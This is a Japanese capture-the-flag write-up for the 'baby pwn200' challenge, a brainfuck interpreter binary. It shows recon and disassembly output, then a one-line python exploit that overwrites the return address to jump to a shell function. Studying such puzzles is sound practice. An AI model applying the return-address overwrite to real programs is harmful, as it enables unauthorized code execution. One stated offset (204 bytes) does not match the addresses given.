pwnlist baby pwn200
下調べ
mattun-mart@4ctf:~/pwn/baby/pwn200$ file bf | sed -e "s/,/\n/g" bf: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) dynamically linked (uses shared libs) for GNU/Linux 2.6.24 BuildID[sha1]=8438f7625e966b84aced94359daa8d3d15cdbb5a not stripped
mattun-mart@4ctf:~/pwn/baby/pwn200$ checksec.sh --file bf RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH bf
解析
実行ファイルを起動すると入力を促されるのでてきとーに入力してみた.
すると,メモリ内のアドレスのようなものを出力する.
>> EINDBAZEN FRAINBUCK INTERDERPER READY. > GIVE ME SOMETHING TO DANCE FOR: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa 0x0000000c 0xf754347f 0x0804835e 0xf76fa863 0xf76fab53 0x000008e1 0x0000000c 0x00000009 0x00000009 0x00000009 0x00000009 0xf771dafb 0xf771d567 0xf7700482 0xf771d00b 0xf7710e91 0xf7542c3f 0xf7539edf 0xf63d4e39 0x07b1ea7c 0xff94112b THANKS FOR SUPPORTING US WITH YOUR BRAIN!
また,objdumpを使って逆アセンブルしてみた結果の中にShellを起動する関数があった.
08048a6e <shell>: 8048a6e: 55 push ebp 8048a6f: 89 e5 mov ebp,esp 8048a71: 83 ec 18 sub esp,0x18 8048a74: c7 04 24 98 8c 04 08 mov DWORD PTR [esp],0x8048c98 8048a7b: e8 50 fa ff ff call 80484d0 <system@plt> 8048a80: c9 leave 8048a81: c3 ret
gdbで動きを追っていくと,特定の入力文字によってメモリの操作をしていることが分かった.
どうやら,branfuckというプログラムらしい.
次の表がその文字と動作内容.
文字 | 動作内容 |
---|---|
> | ポインタを4byteインクリメント(ポインタの初期値は0xffffd020) |
< | ポインタを4byteデクリメント |
+ | ポインタの内容をインクリメント |
- | ポインタの内容をデクリメント |
. | ポインタの内容を出力 |
, | 入力から一文字読み込み |
[ | ポインタの内容が0になるまで[以降の処理を繰り返す |
] | [の終わりを示す |
ということで,ポインタを操作してshell関数を起動してやればよい.
Exploit
メモリを操作してリターンアドレスをshell関数のアドレスに書き換えれば,関数実行後にシェルが起動できる.
ポインタの初期値は0xffffd020で,リターンアドレスは0xffffd0e8(ebp+0x4).また,shell関数のアドレスは0x8048a6eでリターンアドレスの値は0x8048a9d.
ポインタの初期値とリターンアドレスの差は204byte,shell関数とリターンアドレスの差は47なので,51回アドレスをデクリメントして,47回ポインタの内容をデクリメントしてあげればshell関数が実行できる.
てことで,Exploitコード
python -c 'print "<" * 51 + "-" * 47' | ./bf
結果
mattun-mart@4ctf:~/pwn/baby/pwn200$ python -c 'print "<" * 51 + "-" * 47' | ./bf>> EINDBAZEN FRAINBUCK INTERDERPER READY. > GIVE ME SOMETHING TO DANCE FOR: THANKS FOR SUPPORTING US WITH YOUR BRAIN! mattun-mart@4ctf:~/pwn/baby/pwn200$ ls bf dump peda-session-bf.txt mattun-mart@4ctf:~/pwn/baby/pwn200$
どちらかというとrevっぽい.